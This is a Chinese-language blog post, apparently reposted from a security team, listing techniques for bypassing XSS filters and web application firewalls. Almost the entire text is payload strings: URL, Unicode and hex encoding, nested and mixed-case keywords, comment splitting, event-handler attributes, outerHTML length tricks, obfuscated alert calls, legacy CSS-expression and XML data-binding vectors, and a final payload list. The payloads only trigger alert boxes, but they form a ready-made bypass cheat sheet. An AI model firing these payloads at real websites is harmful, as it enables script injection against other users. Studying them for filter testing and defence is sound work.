浅谈XSS绕过姿势
Posted RCE TEAM
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈XSS绕过姿势相关的知识,希望对你有一定的参考价值。
XSS,即跨站脚本攻击。是最常见的Web应用程序安全漏洞之一。它允许恶意用户将代码注入到网页上(通常是javascript),其他用户在访问网页时就会使恶意代码执行从而受到影响。这类攻击通常包含了html以及用户端脚本语言。作为经典的Web应用漏洞之一的XSS,危害还是不容忽视的。本文将归纳一些本人所知的一点XSS的绕过方法,意在分享与学习。
编码绕过
1.URL编码绕过:
javascript:alert(1) => javascript%3Aalert%281%29
2.Unicode编码绕过:
javascript:alert(1) => jav\u0061script:\u0061lert(1)
3.Hex编码绕过:
<script>alert(“xss”);</script> -> %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3
4.javascript编码绕过
<img src=x onerror="javascript:alert('XSS')">
5.US-ASCII编码
¼script¾alert(¢XSS¢)¼/script¾
重写绕过
当waf过滤方式为将某些关键字替换成空时,可以尝试嵌套,如过滤script关键字则可以尝试
scscriptript
大小写绕过
虽然现在几乎见不到了,但也可尝试一下
JavAsCrIpT:AlErT(xss)
注释绕过
1.在尖括号对被过滤的时候,可以考虑利用 // 绕过:
<article><body/onload=alert(1)//</article>
2.利用script标签里的注释可以解决XSS字数限制问题。
<p class="comment" title=""><script>/*"></p>
<p class="comment" title="*/prompt(/*"></p>
<p class="comment" title="*/1);/*"></p>
<p class="comment" title="*/</script>"></p>
利用svg标签
1.svg标签解析的时候,会把xml实体解析后再加入标签。
<svg><script>alert(1)</script>
构造属性
1.在可控的变量作为标签的一个元素输出的时候,可以考虑构造标签的属性来达到恶意代码执行的目的,如:
<img src=x onerror=alert(1)>
或者是
<input value="" type=image src onerror="alert(1)" type="text">
利用子标签中的属性值覆盖
在一个表单中的 document.forms[0].action值,可以被子标签中name属性值为action的标签给覆盖掉,从而可以绕过一些对action值进行检测的前段校验。例如以下摘自prompt.ml中第6题的payload
<form action="javascript:alert(1)"method="post">
<input name="action" value="Matt">
<input name="test" value="test">
</form>
<script>
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>
例子中,校验的 document.forms[0].action值为 Matt。
使用outerHTML
<img src onerror=outerHTML=URL>
利用outerHTML和URL,将要执行的JS放在url中,从而突破长度限制。使用document.URL构造XSS执行JS可以绕过长度限制
echo "Your name is:" . substr($_GET['name'], 0, 35);
payload:
http://127.0.0.1/browser/1.php?name=<img src=x onerror=outerHTML=URL>#<img src=x onerror=alert(/xss/)>
利用重音符绕过
当单双引号被过滤掉的时候,可以使用重音符`来封装JS字符串
<img src=`javascript:alert(1)`>
利用fromeCharCoded方法绕过引号限制
<img src=javascript:alert(String.fromCharCode(88,83,83))>
使用拆解XSS指令绕过
下面列举一些特定情况下,通过拆解xss指令来绕过xss防护的方法
用于绕过某些XSS防护
<img src="jav ascript:alert('XSS');">
也可以对TAB编码
<img src="jav	ascript:alert('XSS');">
利用换行符拆解
<img src="jav
ascript:alert('XSS');">
利用回车拆解
<img src="jav
ascript:alert('XSS');">
Null空字符也可用来分割javascript指令,但是需要直接写入到利用工具中,如burp
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
利用混淆绕过过滤器
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
多重尖括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
双半开括号绕过
<iframe src=http://xss.rocks/scriptlet.html <
利用& JavaScript includes
<br size="&{alert('XSS')}">
利用<link>标签
<link rel="stylesheet" href="javascript:alert('XSS');">
DIV标签
利用background-image属性
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
加点unicoded编码
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
加上额外字符
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
利用DIV表达式
<DIV STYLE="width: expression(alert('XSS'));">
利用XML数据与CDATA区段混淆
仅限于IE和Netscape8.1
<xml id="xss"><i><b><img src="javas<!-- -->cript:alert('XSS')"></b></i></xml>
<span datasrc="#xss" datafld="B" dataformatas="HTML"></span>
XSS-Payloads:
最后是一些本人摘录的xss payload
eval.call`${'alert\x2823\x29'}`
eval.apply`${[`alert\x2823\x29`]}`
setTimeout`alert\x2823\x29`
setInterval`alert\x2823\x29`
onerror=alert;throw 23;
'alert\x2823\x29'instanceof{[Symbol.hasInstance]:eval}
onerror=eval;throw'=alert\x2823\x29';
{onerror=alert}throw 23
throw/a/,Uncaught=1,g=alert,a=g+0,onerror=eval,/1/g+a[14]+[23,331,337]+a[15]
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x2823\x29'}
以上仅为本人自己所知的以及东拼西凑的些许绕过方法,并不是很全面,欢迎各位师傅补充和指证。如果有不对的或不恰当的地方请指出。
以上是关于浅谈XSS绕过姿势的主要内容,如果未能解决你的问题,请参考以下文章